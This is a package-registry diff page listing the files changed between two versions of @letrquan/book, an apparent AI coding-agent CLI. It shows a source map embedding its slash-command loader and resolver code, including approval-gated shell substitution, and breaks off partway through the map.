@letrquan/book 0.2.0 → 0.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (157) hide show
  1. package/CHANGELOG.md +2747 -40
  2. package/README.md +132 -1311
  3. package/dist/additional-roots-H7UNAEHS.js +31 -0
  4. package/dist/{app-MOXXWEOY.js → app-GE4OHJOC.js} +5740 -4045
  5. package/dist/app-GE4OHJOC.js.map +1 -0
  6. package/dist/{chunk-5GDZ22YP.js → chunk-224FJZLH.js} +99 -108
  7. package/dist/chunk-224FJZLH.js.map +1 -0
  8. package/dist/chunk-2AAOF5B5.js +28 -0
  9. package/dist/chunk-2AAOF5B5.js.map +1 -0
  10. package/dist/{chunk-CAGOB2N4.js → chunk-4AS7LKKQ.js} +6 -4
  11. package/dist/chunk-4AS7LKKQ.js.map +1 -0
  12. package/dist/chunk-525CAZPY.js +120 -0
  13. package/dist/chunk-525CAZPY.js.map +1 -0
  14. package/dist/{chunk-URLQAXTR.js → chunk-56SIEMDX.js} +2 -2
  15. package/dist/chunk-56SIEMDX.js.map +1 -0
  16. package/dist/{chunk-XIFFTATU.js → chunk-5YHTKWJN.js} +5420 -4031
  17. package/dist/chunk-5YHTKWJN.js.map +1 -0
  18. package/dist/chunk-62QL5QUP.js +283 -0
  19. package/dist/chunk-62QL5QUP.js.map +1 -0
  20. package/dist/{chunk-KWHQ2XXL.js → chunk-67UZEWWF.js} +3 -3
  21. package/dist/chunk-67UZEWWF.js.map +1 -0
  22. package/dist/chunk-6OQQOMZR.js +785 -0
  23. package/dist/chunk-6OQQOMZR.js.map +1 -0
  24. package/dist/{chunk-GTVB4HEM.js → chunk-AQEQX4FF.js} +344 -315
  25. package/dist/chunk-AQEQX4FF.js.map +1 -0
  26. package/dist/chunk-C7ADUNPR.js +273 -0
  27. package/dist/chunk-C7ADUNPR.js.map +1 -0
  28. package/dist/{chunk-E75IPST5.js → chunk-EFJ2NH6E.js} +12 -58
  29. package/dist/chunk-EFJ2NH6E.js.map +1 -0
  30. package/dist/{chunk-5KLVH3PY.js → chunk-HQI7NYGX.js} +5 -3
  31. package/dist/chunk-HQI7NYGX.js.map +1 -0
  32. package/dist/chunk-IME7R2UI.js +6541 -0
  33. package/dist/chunk-IME7R2UI.js.map +1 -0
  34. package/dist/chunk-J4F2QLM2.js +273 -0
  35. package/dist/chunk-J4F2QLM2.js.map +1 -0
  36. package/dist/{chunk-MAQXCUR4.js → chunk-J62VZYOB.js} +444 -112
  37. package/dist/chunk-J62VZYOB.js.map +1 -0
  38. package/dist/chunk-JTPOI3KU.js +826 -0
  39. package/dist/chunk-JTPOI3KU.js.map +1 -0
  40. package/dist/{chunk-WKBO5R4O.js → chunk-KBQS35OV.js} +2 -2
  41. package/dist/chunk-KBQS35OV.js.map +1 -0
  42. package/dist/chunk-KXAYUIKP.js +90 -0
  43. package/dist/chunk-KXAYUIKP.js.map +1 -0
  44. package/dist/{chunk-VZQXX3WW.js → chunk-QYBD22H5.js} +1 -1
  45. package/dist/chunk-QYBD22H5.js.map +1 -0
  46. package/dist/{chunk-V4BOYR52.js → chunk-RFJ6Q6LE.js} +763 -198
  47. package/dist/chunk-RFJ6Q6LE.js.map +1 -0
  48. package/dist/{chunk-7N4J557C.js → chunk-RT5SATF7.js} +1 -1
  49. package/dist/chunk-RT5SATF7.js.map +1 -0
  50. package/dist/{chunk-C7D4NJ2D.js → chunk-S4JMID4G.js} +68 -26
  51. package/dist/chunk-S4JMID4G.js.map +1 -0
  52. package/dist/{chunk-ANSJPYGI.js → chunk-SOW4WRQP.js} +3 -3
  53. package/dist/chunk-SOW4WRQP.js.map +1 -0
  54. package/dist/{chunk-J7MIZ5CA.js → chunk-TLX3H2CL.js} +518 -79
  55. package/dist/chunk-TLX3H2CL.js.map +1 -0
  56. package/dist/{chunk-DGMQEI6Y.js → chunk-VPNLCMVR.js} +22 -9
  57. package/dist/chunk-VPNLCMVR.js.map +1 -0
  58. package/dist/{chunk-BTZZUCLI.js → chunk-W3XFHEF4.js} +173 -29
  59. package/dist/chunk-W3XFHEF4.js.map +1 -0
  60. package/dist/{chunk-574C6MQR.js → chunk-X4NJT436.js} +130 -60
  61. package/dist/chunk-X4NJT436.js.map +1 -0
  62. package/dist/chunk-X66I2NQO.js +137 -0
  63. package/dist/chunk-X66I2NQO.js.map +1 -0
  64. package/dist/chunk-XHAO3K7I.js +18 -0
  65. package/dist/chunk-XHAO3K7I.js.map +1 -0
  66. package/dist/{chunk-3U5IBM24.js → chunk-Y2VHN7TC.js} +2 -2
  67. package/dist/chunk-Y2VHN7TC.js.map +1 -0
  68. package/dist/chunk-YC6W4EJH.js +947 -0
  69. package/dist/chunk-YC6W4EJH.js.map +1 -0
  70. package/dist/{chunk-24AXE6SP.js → chunk-ZPSZZUWF.js} +1 -1
  71. package/dist/chunk-ZPSZZUWF.js.map +1 -0
  72. package/dist/{command-approvals-6Y57VCWZ.js → command-approvals-VBIU6BLM.js} +6 -5
  73. package/dist/context-CBOBDY5Q.js +38 -0
  74. package/dist/{hook-approvals-CTUFKEJT.js → hook-approvals-ZVT4V7IM.js} +5 -5
  75. package/dist/index.js +996 -155
  76. package/dist/index.js.map +1 -1
  77. package/dist/{interactive-assets-CCAAWVKH.js → interactive-assets-T4I4SEHU.js} +13 -9
  78. package/dist/interactive-assets-T4I4SEHU.js.map +1 -0
  79. package/dist/job-runner.js +159 -111
  80. package/dist/job-runner.js.map +1 -1
  81. package/dist/job-supervisor.d.ts +2 -0
  82. package/dist/job-supervisor.js +112 -0
  83. package/dist/job-supervisor.js.map +1 -0
  84. package/dist/loader-S77OVTHH.js +18 -0
  85. package/dist/{mcp-approvals-WNPH65BK.js → mcp-approvals-HJ2VDYMC.js} +5 -5
  86. package/dist/{mcp-config-YIJIES2C.js → mcp-config-RNB5LEVE.js} +3 -3
  87. package/dist/memory-store-DZUT5HUH.js +75 -0
  88. package/dist/{model-window-store-YFVNXCIP.js → model-window-store-MTSQ5JDJ.js} +8 -4
  89. package/dist/openai-compatible-2OB54YST.js +14 -0
  90. package/dist/{permission-approvals-76PVREFD.js → permission-approvals-YLV6UC5W.js} +5 -5
  91. package/dist/permissions-DHOKF3W2.js +45 -0
  92. package/dist/sandbox-WRYTZH3D.js +41 -0
  93. package/dist/{scrollback-LUKLIBVI.js → scrollback-35ME2GFX.js} +32 -22
  94. package/dist/scrollback-35ME2GFX.js.map +1 -0
  95. package/dist/sdk.d.ts +2219 -2361
  96. package/dist/sdk.js +53 -38
  97. package/dist/sdk.js.map +1 -1
  98. package/dist/settings-loader-JUNPGAAM.js +35 -0
  99. package/dist/settings-loader-JUNPGAAM.js.map +1 -0
  100. package/dist/{shell-selection-V6QAYXPX.js → shell-selection-CDHGJ4GC.js} +2 -2
  101. package/dist/shell-selection-CDHGJ4GC.js.map +1 -0
  102. package/package.json +23 -22
  103. package/dist/app-MOXXWEOY.js.map +0 -1
  104. package/dist/chunk-24AXE6SP.js.map +0 -1
  105. package/dist/chunk-3U5IBM24.js.map +0 -1
  106. package/dist/chunk-574C6MQR.js.map +0 -1
  107. package/dist/chunk-5GDZ22YP.js.map +0 -1
  108. package/dist/chunk-5KLVH3PY.js.map +0 -1
  109. package/dist/chunk-7N4J557C.js.map +0 -1
  110. package/dist/chunk-A7JLBK2Y.js +0 -3506
  111. package/dist/chunk-A7JLBK2Y.js.map +0 -1
  112. package/dist/chunk-ANSJPYGI.js.map +0 -1
  113. package/dist/chunk-BTZZUCLI.js.map +0 -1
  114. package/dist/chunk-C7D4NJ2D.js.map +0 -1
  115. package/dist/chunk-CAGOB2N4.js.map +0 -1
  116. package/dist/chunk-DGMQEI6Y.js.map +0 -1
  117. package/dist/chunk-E75IPST5.js.map +0 -1
  118. package/dist/chunk-EYGD6X2T.js +0 -180
  119. package/dist/chunk-EYGD6X2T.js.map +0 -1
  120. package/dist/chunk-GTVB4HEM.js.map +0 -1
  121. package/dist/chunk-J7MIZ5CA.js.map +0 -1
  122. package/dist/chunk-KWHQ2XXL.js.map +0 -1
  123. package/dist/chunk-L6LK2QIQ.js +0 -657
  124. package/dist/chunk-L6LK2QIQ.js.map +0 -1
  125. package/dist/chunk-MAQXCUR4.js.map +0 -1
  126. package/dist/chunk-S4XL7HOM.js +0 -402
  127. package/dist/chunk-S4XL7HOM.js.map +0 -1
  128. package/dist/chunk-URLQAXTR.js.map +0 -1
  129. package/dist/chunk-V4BOYR52.js.map +0 -1
  130. package/dist/chunk-VZQXX3WW.js.map +0 -1
  131. package/dist/chunk-WKBO5R4O.js.map +0 -1
  132. package/dist/chunk-XIFFTATU.js.map +0 -1
  133. package/dist/context-ZC5IFEAX.js +0 -25
  134. package/dist/interactive-assets-CCAAWVKH.js.map +0 -1
  135. package/dist/loader-4IDS2RIE.js +0 -15
  136. package/dist/openai-compatible-RHZUBHV6.js +0 -10
  137. package/dist/permissions-CHCKTFQQ.js +0 -28
  138. package/dist/sandbox-CNVAQDA7.js +0 -23
  139. package/dist/scrollback-LUKLIBVI.js.map +0 -1
  140. package/dist/settings-loader-M2QP5TX2.js +0 -21
  141. package/patches/ink+6.8.0.patch +0 -13
  142. package/scripts/apply-ink-patch.mjs +0 -29
  143. package/scripts/ink-patch.mjs +0 -59
  144. package/scripts/verify-ink-patch.mjs +0 -11
  145. /package/dist/{command-approvals-6Y57VCWZ.js.map → additional-roots-H7UNAEHS.js.map} +0 -0
  146. /package/dist/{context-ZC5IFEAX.js.map → command-approvals-VBIU6BLM.js.map} +0 -0
  147. /package/dist/{hook-approvals-CTUFKEJT.js.map → context-CBOBDY5Q.js.map} +0 -0
  148. /package/dist/{loader-4IDS2RIE.js.map → hook-approvals-ZVT4V7IM.js.map} +0 -0
  149. /package/dist/{mcp-approvals-WNPH65BK.js.map → loader-S77OVTHH.js.map} +0 -0
  150. /package/dist/{mcp-config-YIJIES2C.js.map → mcp-approvals-HJ2VDYMC.js.map} +0 -0
  151. /package/dist/{model-window-store-YFVNXCIP.js.map → mcp-config-RNB5LEVE.js.map} +0 -0
  152. /package/dist/{openai-compatible-RHZUBHV6.js.map → memory-store-DZUT5HUH.js.map} +0 -0
  153. /package/dist/{permission-approvals-76PVREFD.js.map → model-window-store-MTSQ5JDJ.js.map} +0 -0
  154. /package/dist/{permissions-CHCKTFQQ.js.map → openai-compatible-2OB54YST.js.map} +0 -0
  155. /package/dist/{sandbox-CNVAQDA7.js.map → permission-approvals-YLV6UC5W.js.map} +0 -0
  156. /package/dist/{settings-loader-M2QP5TX2.js.map → permissions-DHOKF3W2.js.map} +0 -0
  157. /package/dist/{shell-selection-V6QAYXPX.js.map → sandbox-WRYTZH3D.js.map} +0 -0
@@ -0,0 +1 @@
1
+ {"version":3,"sources":["../src/commands/loader.ts","../src/commands/resolve.ts"],"sourcesContent":["import { readFileSync, existsSync, readdirSync, statSync } from 'fs';\nimport { join, extname } from 'path';\nimport { parseFrontmatter } from '../frontmatter.js';\nimport type { SlashCommand } from '../types/commands.js';\nimport { resolveBookHome } from '../book-home.js';\n\n/**\n * Load a single .md command file. Returns null if the file doesn't exist.\n */\nfunction loadCommandFile(filePath: string, source: 'user' | 'project'): SlashCommand | null {\n if (!existsSync(filePath) || extname(filePath) !== '.md') return null;\n const raw = readFileSync(filePath, 'utf-8');\n const { body, frontmatter } = parseFrontmatter(raw);\n const name = filePath.split(/[/\\\\]/).pop()!.replace(/\\.md$/, '');\n return {\n name,\n description: (frontmatter.description as string) || name,\n argumentHint: frontmatter['argument-hint'] as string | undefined,\n arguments: Array.isArray(frontmatter.arguments)\n ? (frontmatter.arguments as string[])\n : typeof frontmatter.arguments === 'string'\n ? (frontmatter.arguments as string).split(/[,\\s]+/).filter(Boolean)\n : undefined,\n allowedTools: Array.isArray(frontmatter['allowed-tools'])\n ? (frontmatter['allowed-tools'] as string[])\n : undefined,\n model: frontmatter.model as string | undefined,\n body,\n source,\n };\n}\n\n/**\n * Discover all slash commands from the conventional directories.\n *\n * Search order (project wins on name collision):\n * 1. ~/.book/commands/*.md (user)\n * 2. .book/commands/*.md (project)\n *\n * Project commands with the same name as a user command override the user one.\n */\nexport function discoverCommands(workspace: string): SlashCommand[] {\n const userDir = join(resolveBookHome(), 'commands');\n const projectDir = join(workspace, '.book', 'commands');\n\n const byName = new Map<string, SlashCommand>();\n\n // User commands first (lowest priority).\n for (const dir of [userDir, projectDir]) {\n if (!existsSync(dir)) continue;\n let entries: string[];\n try {\n entries = readdirSync(dir);\n } catch {\n continue;\n }\n for (const entry of entries) {\n if (!entry.endsWith('.md')) continue;\n const fullPath = join(dir, entry);\n let stat;\n try {\n stat = statSync(fullPath);\n } catch {\n continue;\n }\n if (!stat.isFile()) continue;\n const source = dir === userDir ? 'user' : 'project';\n const cmd = loadCommandFile(fullPath, source);\n if (cmd) {\n byName.set(cmd.name, cmd); // project overrides user via set\n }\n }\n }\n\n return Array.from(byName.values());\n}\n\n// Re-export resolveCommandBody from resolve.ts for backward compatibility.\nexport { resolveCommandBody } from './resolve.js';\n\n/**\n * Generate a compact text listing of available commands for injection into the\n * system prompt. Commands with disableModelInvocation are excluded.\n *\n * Pattern: mirror generateSkillListing from src/skills.ts.\n */\nexport function generateCommandListing(\n commands: SlashCommand[],\n budgetChars: number = 1024,\n): string {\n const visible = commands.filter((c) => c.source !== undefined); // all commands are visible\n if (visible.length === 0) return '';\n\n const lines: string[] = [];\n lines.push('## Available slash commands');\n // No command bodies follow, and nothing downstream resolves a bare `/name`\n // string: the host expands an invoked command before the turn reaches the\n // model. Promising \"execute its instructions below\" taught a mechanism that\n // does not exist.\n lines.push(\n 'The user can invoke these by typing /name. The host expands an invoked command into the conversation before it reaches you. If a message merely mentions a command name, treat it as a reference — do not attempt to execute the command yourself.',\n );\n\n let remaining = budgetChars - lines.join('\\n').length;\n let shown = 0;\n\n for (const cmd of visible) {\n const hint = cmd.argumentHint ? ` ${cmd.argumentHint}` : '';\n const entry = `- **/${cmd.name}${hint}**: ${cmd.description}`;\n if (entry.length > remaining) {\n // Try bare name\n const bare = `- **/${cmd.name}**`;\n if (bare.length <= remaining) {\n lines.push(bare);\n shown++;\n remaining -= bare.length + 1;\n }\n break;\n }\n lines.push(entry);\n shown++;\n remaining -= entry.length + 1;\n }\n\n if (shown < visible.length) lines.push(`- …and ${visible.length - shown} more not shown`);\n\n return lines.join('\\n');\n}\n","import { exec } from 'child_process';\nimport { buildChildEnv } from '../child-env.js';\nimport { assertProjectCommandApproved, type ProjectCommandStore } from '../command-approvals.js';\nimport type { CommandContext, SlashCommand } from '../types/commands.js';\nimport {\n applyShellInjections,\n extractShellInjections,\n type ShellInjection,\n} from './shell-injection.js';\n\nexport interface ParsedSlashInput {\n name: string;\n rawArguments: string;\n}\n\n/** Parse slash input once; command identity is always an exact token match. */\nexport function parseSlashInput(value: string): ParsedSlashInput | null {\n if (!value.startsWith('/')) return null;\n const body = value.slice(1);\n const separator = body.search(/\\s/);\n return separator === -1\n ? { name: body, rawArguments: '' }\n : { name: body.slice(0, separator), rawArguments: body.slice(separator + 1).trim() };\n}\n\n/**\n * Parse raw argument string with shell-style quoting.\n *\n * Examples:\n * \"hello world\" → [\"hello\", \"world\"]\n * '\"hello world\" arg' → [\"hello world\", \"arg\"]\n * '' → []\n */\nexport function parseArgs(raw: string): string[] {\n const trimmed = raw.trim();\n if (!trimmed) return [];\n\n const argv: string[] = [];\n let current = '';\n let inDouble = false;\n let inSingle = false;\n\n for (let i = 0; i < trimmed.length; i++) {\n const ch = trimmed[i];\n\n if (inDouble) {\n if (ch === '\"') {\n inDouble = false;\n } else {\n current += ch;\n }\n } else if (inSingle) {\n if (ch === \"'\") {\n inSingle = false;\n } else {\n current += ch;\n }\n } else {\n if (ch === '\"') {\n inDouble = true;\n } else if (ch === \"'\") {\n inSingle = true;\n } else if (ch === ' ' || ch === '\\t') {\n if (current.length > 0) {\n argv.push(current);\n current = '';\n }\n } else {\n current += ch;\n }\n }\n }\n\n if (current.length > 0) {\n argv.push(current);\n }\n\n return argv;\n}\n\n/**\n * Resolve all variables in a command body.\n *\n * Supported variables:\n * $ARGUMENTS / $* — all arguments joined by spaces\n * $1 through $9 — positional arguments (1-indexed)\n * $name — named argument from `arguments` frontmatter\n * ${BOOK_SESSION_ID} — current session ID\n * ${BOOK_WORKSPACE} — workspace root path\n * ${BOOK_MODEL} — current model name\n * ${BOOK_DATE} — current date (YYYY-MM-DD)\n */\nexport function resolveVariables(\n body: string,\n argv: string[],\n namedArgs: string[],\n context?: { sessionId?: string; workspace?: string; model?: string },\n): string {\n let resolved = body;\n\n // $ARGUMENTS / $* — all arguments joined\n const allArgs = argv.join(' ');\n resolved = resolved.replace(/\\$ARGUMENTS|\\$\\*/g, allArgs);\n\n // $1..$9 — positional arguments (1-indexed)\n for (let i = 1; i <= 9; i++) {\n const val = i <= argv.length ? argv[i - 1] : '';\n resolved = resolved.replace(new RegExp(`\\\\$${i}`, 'g'), val);\n }\n\n // $name — named arguments from `arguments` frontmatter\n for (let i = 0; i < namedArgs.length; i++) {\n const name = namedArgs[i];\n const val = i < argv.length ? argv[i] : '';\n resolved = resolved.replace(new RegExp(`\\\\$${escapeRegex(name)}`, 'g'), val);\n }\n\n // ${ENV_VAR} style\n if (context?.sessionId) {\n resolved = resolved.replace(/\\$\\{BOOK_SESSION_ID\\}/g, context.sessionId);\n }\n if (context?.workspace) {\n resolved = resolved.replace(/\\$\\{BOOK_WORKSPACE\\}/g, context.workspace);\n }\n if (context?.model) {\n resolved = resolved.replace(/\\$\\{BOOK_MODEL\\}/g, context.model);\n }\n resolved = resolved.replace(/\\$\\{BOOK_DATE\\}/g, new Date().toISOString().split('T')[0]);\n\n return resolved;\n}\n\n/**\n * Resolve inline shell commands and fenced shell blocks in a command body.\n *\n * Spans come from a single scan of the raw body (`shell-injection.ts`), which\n * is also what the approval fingerprint digests, and output is substituted\n * back without rescanning: a command that prints an injection marker cannot\n * get it executed.\n *\n * Each shell command runs with a 5-second timeout. Output replaces the\n * placeholder inline. Errors are collected.\n */\nexport async function resolveShellInjection(\n body: string,\n workspace: string,\n signal?: AbortSignal,\n): Promise<{ resolved: string; errors: string[] }> {\n const errors: string[] = [];\n const injections = extractShellInjections(body);\n const outputs: string[] = [];\n // Sequential: a body may depend on one command having run before the next.\n for (const injection of injections) {\n outputs.push(await executeInjection(injection, workspace, errors, signal));\n }\n return { resolved: applyShellInjections(body, injections, outputs), errors };\n}\n\n/**\n * Everything a command body may need substituted into it.\n */\nexport interface CommandResolutionContext {\n sessionId?: string;\n workspace?: string;\n model?: string;\n /**\n * Recorded decisions about repository-declared shell substitution\n * (`settings.commands.projectCommands`).\n *\n * Omitting it fails closed: a project command that substitutes shell is\n * refused rather than run on an unrecorded decision, so a host that has not\n * been wired for the gate cannot quietly reopen it.\n */\n projectCommands?: ProjectCommandStore;\n}\n\n/**\n * Resolve a command body by substituting arguments, named args, env vars,\n * and shell injections.\n *\n * Returns the fully resolved body and any shell errors encountered. Throws\n * `ProjectCommandApprovalError` when a repository-declared command would run\n * shell the user has not approved.\n */\nexport async function resolveCommandBody(\n command: SlashCommand,\n args: string,\n context?: CommandResolutionContext,\n signal?: AbortSignal,\n): Promise<{ resolved: string; shellErrors: string[] }> {\n // Before anything runs: a checked-in body can execute shell outside the\n // permission system, so the decision is checked ahead of the first spawn.\n assertProjectCommandApproved(command, {\n commands: { projectCommands: context?.projectCommands },\n });\n\n const argv = parseArgs(args);\n const namedArgs = command.arguments ?? [];\n\n // Step 1: Resolve shell injections first (raw body, before var substitution).\n // This allows shell commands to produce text that may contain $variables,\n // and is why the approved fingerprint digests the raw body: no argument can\n // reach the shell.\n const { resolved: afterShell, errors } = await resolveShellInjection(\n command.body,\n context?.workspace ?? process.cwd(),\n signal,\n );\n\n // Step 2: Resolve variables ($ARGUMENTS, $1..$9, $name, ${ENV}).\n const resolved = resolveVariables(afterShell, argv, namedArgs, context);\n\n return { resolved, shellErrors: errors };\n}\n\n/**\n * Frontmatter enforcement carried into the agent loop for an invoked custom\n * command, or undefined when the command restricts nothing.\n *\n * Shared so every host (TUI, print/headless) enforces `allowed-tools` and\n * `model` identically.\n */\nexport function commandEnforcementContext(\n command: SlashCommand,\n resolvedBody: string,\n): CommandContext | undefined {\n return command.allowedTools || command.model\n ? {\n command,\n resolvedBody,\n modelOverride: command.model,\n allowedTools: command.allowedTools,\n }\n : undefined;\n}\n\nfunction executeInjection(\n injection: ShellInjection,\n workspace: string,\n errors: string[],\n signal?: AbortSignal,\n): Promise<string> {\n return new Promise((resolve) => {\n exec(\n injection.command,\n {\n cwd: workspace,\n encoding: 'utf8',\n // A `!command` in a slash command is a command the user wrote, not one Book chose, so it\n // must not inherit the NODE_ENV Book defaulted for its own renderer.\n env: buildChildEnv(),\n timeout: 5_000,\n maxBuffer: 1024 * 1024,\n signal,\n windowsHide: true,\n },\n (error, stdout) => {\n if (!error) {\n resolve(stdout.trim());\n return;\n }\n const message = error.message;\n errors.push(\n injection.kind === 'block'\n ? `Shell block failed: ${message}`\n : `Shell command '${injection.command}' failed: ${message}`,\n );\n resolve(`[shell error: ${message}]`);\n },\n );\n });\n}\n\nfunction escapeRegex(s: string): string {\n return s.replace(/[.*+?^${}()|[\\]\\\\]/g, '\\\\$&');\n}\n"],"mappings":";;;;;;;;;;;;;;;;AAAA,SAAS,cAAc,YAAY,aAAa,gBAAgB;AAChE,SAAS,MAAM,eAAe;;;ACD9B,SAAS,YAAY;AAgBd,SAAS,gBAAgB,OAAwC;AACtE,MAAI,CAAC,MAAM,WAAW,GAAG,EAAG,QAAO;AACnC,QAAM,OAAO,MAAM,MAAM,CAAC;AAC1B,QAAM,YAAY,KAAK,OAAO,IAAI;AAClC,SAAO,cAAc,KACjB,EAAE,MAAM,MAAM,cAAc,GAAG,IAC/B,EAAE,MAAM,KAAK,MAAM,GAAG,SAAS,GAAG,cAAc,KAAK,MAAM,YAAY,CAAC,EAAE,KAAK,EAAE;AACvF;AAUO,SAAS,UAAU,KAAuB;AAC/C,QAAM,UAAU,IAAI,KAAK;AACzB,MAAI,CAAC,QAAS,QAAO,CAAC;AAEtB,QAAM,OAAiB,CAAC;AACxB,MAAI,UAAU;AACd,MAAI,WAAW;AACf,MAAI,WAAW;AAEf,WAAS,IAAI,GAAG,IAAI,QAAQ,QAAQ,KAAK;AACvC,UAAM,KAAK,QAAQ,CAAC;AAEpB,QAAI,UAAU;AACZ,UAAI,OAAO,KAAK;AACd,mBAAW;AAAA,MACb,OAAO;AACL,mBAAW;AAAA,MACb;AAAA,IACF,WAAW,UAAU;AACnB,UAAI,OAAO,KAAK;AACd,mBAAW;AAAA,MACb,OAAO;AACL,mBAAW;AAAA,MACb;AAAA,IACF,OAAO;AACL,UAAI,OAAO,KAAK;AACd,mBAAW;AAAA,MACb,WAAW,OAAO,KAAK;AACrB,mBAAW;AAAA,MACb,WAAW,OAAO,OAAO,OAAO,KAAM;AACpC,YAAI,QAAQ,SAAS,GAAG;AACtB,eAAK,KAAK,OAAO;AACjB,oBAAU;AAAA,QACZ;AAAA,MACF,OAAO;AACL,mBAAW;AAAA,MACb;AAAA,IACF;AAAA,EACF;AAEA,MAAI,QAAQ,SAAS,GAAG;AACtB,SAAK,KAAK,OAAO;AAAA,EACnB;AAEA,SAAO;AACT;AAcO,SAAS,iBACd,MACA,MACA,WACA,SACQ;AACR,MAAI,WAAW;AAGf,QAAM,UAAU,KAAK,KAAK,GAAG;AAC7B,aAAW,SAAS,QAAQ,qBAAqB,OAAO;AAGxD,WAAS,IAAI,GAAG,KAAK,GAAG,KAAK;AAC3B,UAAM,MAAM,KAAK,KAAK,SAAS,KAAK,IAAI,CAAC,IAAI;AAC7C,eAAW,SAAS,QAAQ,IAAI,OAAO,MAAM,CAAC,IAAI,GAAG,GAAG,GAAG;AAAA,EAC7D;AAGA,WAAS,IAAI,GAAG,IAAI,UAAU,QAAQ,KAAK;AACzC,UAAM,OAAO,UAAU,CAAC;AACxB,UAAM,MAAM,IAAI,KAAK,SAAS,KAAK,CAAC,IAAI;AACxC,eAAW,SAAS,QAAQ,IAAI,OAAO,MAAM,YAAY,IAAI,CAAC,IAAI,GAAG,GAAG,GAAG;AAAA,EAC7E;AAGA,MAAI,SAAS,WAAW;AACtB,eAAW,SAAS,QAAQ,0BAA0B,QAAQ,SAAS;AAAA,EACzE;AACA,MAAI,SAAS,WAAW;AACtB,eAAW,SAAS,QAAQ,yBAAyB,QAAQ,SAAS;AAAA,EACxE;AACA,MAAI,SAAS,OAAO;AAClB,eAAW,SAAS,QAAQ,qBAAqB,QAAQ,KAAK;AAAA,EAChE;AACA,aAAW,SAAS,QAAQ,qBAAoB,oBAAI,KAAK,GAAE,YAAY,EAAE,MAAM,GAAG,EAAE,CAAC,CAAC;AAEtF,SAAO;AACT;AAaA,eAAsB,sBACpB,MACA,WACA,QACiD;AACjD,QAAM,SAAmB,CAAC;AAC1B,QAAM,aAAa,uBAAuB,IAAI;AAC9C,QAAM,UAAoB,CAAC;AAE3B,aAAW,aAAa,YAAY;AAClC,YAAQ,KAAK,MAAM,iBAAiB,WAAW,WAAW,QAAQ,MAAM,CAAC;AAAA,EAC3E;AACA,SAAO,EAAE,UAAU,qBAAqB,MAAM,YAAY,OAAO,GAAG,OAAO;AAC7E;AA4BA,eAAsB,mBACpB,SACA,MACA,SACA,QACsD;AAGtD,+BAA6B,SAAS;AAAA,IACpC,UAAU,EAAE,iBAAiB,SAAS,gBAAgB;AAAA,EACxD,CAAC;AAED,QAAM,OAAO,UAAU,IAAI;AAC3B,QAAM,YAAY,QAAQ,aAAa,CAAC;AAMxC,QAAM,EAAE,UAAU,YAAY,OAAO,IAAI,MAAM;AAAA,IAC7C,QAAQ;AAAA,IACR,SAAS,aAAa,QAAQ,IAAI;AAAA,IAClC;AAAA,EACF;AAGA,QAAM,WAAW,iBAAiB,YAAY,MAAM,WAAW,OAAO;AAEtE,SAAO,EAAE,UAAU,aAAa,OAAO;AACzC;AASO,SAAS,0BACd,SACA,cAC4B;AAC5B,SAAO,QAAQ,gBAAgB,QAAQ,QACnC;AAAA,IACE;AAAA,IACA;AAAA,IACA,eAAe,QAAQ;AAAA,IACvB,cAAc,QAAQ;AAAA,EACxB,IACA;AACN;AAEA,SAAS,iBACP,WACA,WACA,QACA,QACiB;AACjB,SAAO,IAAI,QAAQ,CAAC,YAAY;AAC9B;AAAA,MACE,UAAU;AAAA,MACV;AAAA,QACE,KAAK;AAAA,QACL,UAAU;AAAA;AAAA;AAAA,QAGV,KAAK,cAAc;AAAA,QACnB,SAAS;AAAA,QACT,WAAW,OAAO;AAAA,QAClB;AAAA,QACA,aAAa;AAAA,MACf;AAAA,MACA,CAAC,OAAO,WAAW;AACjB,YAAI,CAAC,OAAO;AACV,kBAAQ,OAAO,KAAK,CAAC;AACrB;AAAA,QACF;AACA,cAAM,UAAU,MAAM;AACtB,eAAO;AAAA,UACL,UAAU,SAAS,UACf,uBAAuB,OAAO,KAC9B,kBAAkB,UAAU,OAAO,aAAa,OAAO;AAAA,QAC7D;AACA,gBAAQ,iBAAiB,OAAO,GAAG;AAAA,MACrC;AAAA,IACF;AAAA,EACF,CAAC;AACH;AAEA,SAAS,YAAY,GAAmB;AACtC,SAAO,EAAE,QAAQ,uBAAuB,MAAM;AAChD;;;AD1QA,SAAS,gBAAgB,UAAkB,QAAiD;AAC1F,MAAI,CAAC,WAAW,QAAQ,KAAK,QAAQ,QAAQ,MAAM,MAAO,QAAO;AACjE,QAAM,MAAM,aAAa,UAAU,OAAO;AAC1C,QAAM,EAAE,MAAM,YAAY,IAAI,iBAAiB,GAAG;AAClD,QAAM,OAAO,SAAS,MAAM,OAAO,EAAE,IAAI,EAAG,QAAQ,SAAS,EAAE;AAC/D,SAAO;AAAA,IACL;AAAA,IACA,aAAc,YAAY,eAA0B;AAAA,IACpD,cAAc,YAAY,eAAe;AAAA,IACzC,WAAW,MAAM,QAAQ,YAAY,SAAS,IACzC,YAAY,YACb,OAAO,YAAY,cAAc,WAC9B,YAAY,UAAqB,MAAM,QAAQ,EAAE,OAAO,OAAO,IAChE;AAAA,IACN,cAAc,MAAM,QAAQ,YAAY,eAAe,CAAC,IACnD,YAAY,eAAe,IAC5B;AAAA,IACJ,OAAO,YAAY;AAAA,IACnB;AAAA,IACA;AAAA,EACF;AACF;AAWO,SAAS,iBAAiB,WAAmC;AAClE,QAAM,UAAU,KAAK,gBAAgB,GAAG,UAAU;AAClD,QAAM,aAAa,KAAK,WAAW,SAAS,UAAU;AAEtD,QAAM,SAAS,oBAAI,IAA0B;AAG7C,aAAW,OAAO,CAAC,SAAS,UAAU,GAAG;AACvC,QAAI,CAAC,WAAW,GAAG,EAAG;AACtB,QAAI;AACJ,QAAI;AACF,gBAAU,YAAY,GAAG;AAAA,IAC3B,QAAQ;AACN;AAAA,IACF;AACA,eAAW,SAAS,SAAS;AAC3B,UAAI,CAAC,MAAM,SAAS,KAAK,EAAG;AAC5B,YAAM,WAAW,KAAK,KAAK,KAAK;AAChC,UAAI;AACJ,UAAI;AACF,eAAO,SAAS,QAAQ;AAAA,MAC1B,QAAQ;AACN;AAAA,MACF;AACA,UAAI,CAAC,KAAK,OAAO,EAAG;AACpB,YAAM,SAAS,QAAQ,UAAU,SAAS;AAC1C,YAAM,MAAM,gBAAgB,UAAU,MAAM;AAC5C,UAAI,KAAK;AACP,eAAO,IAAI,IAAI,MAAM,GAAG;AAAA,MAC1B;AAAA,IACF;AAAA,EACF;AAEA,SAAO,MAAM,KAAK,OAAO,OAAO,CAAC;AACnC;AAWO,SAAS,uBACd,UACA,cAAsB,MACd;AACR,QAAM,UAAU,SAAS,OAAO,C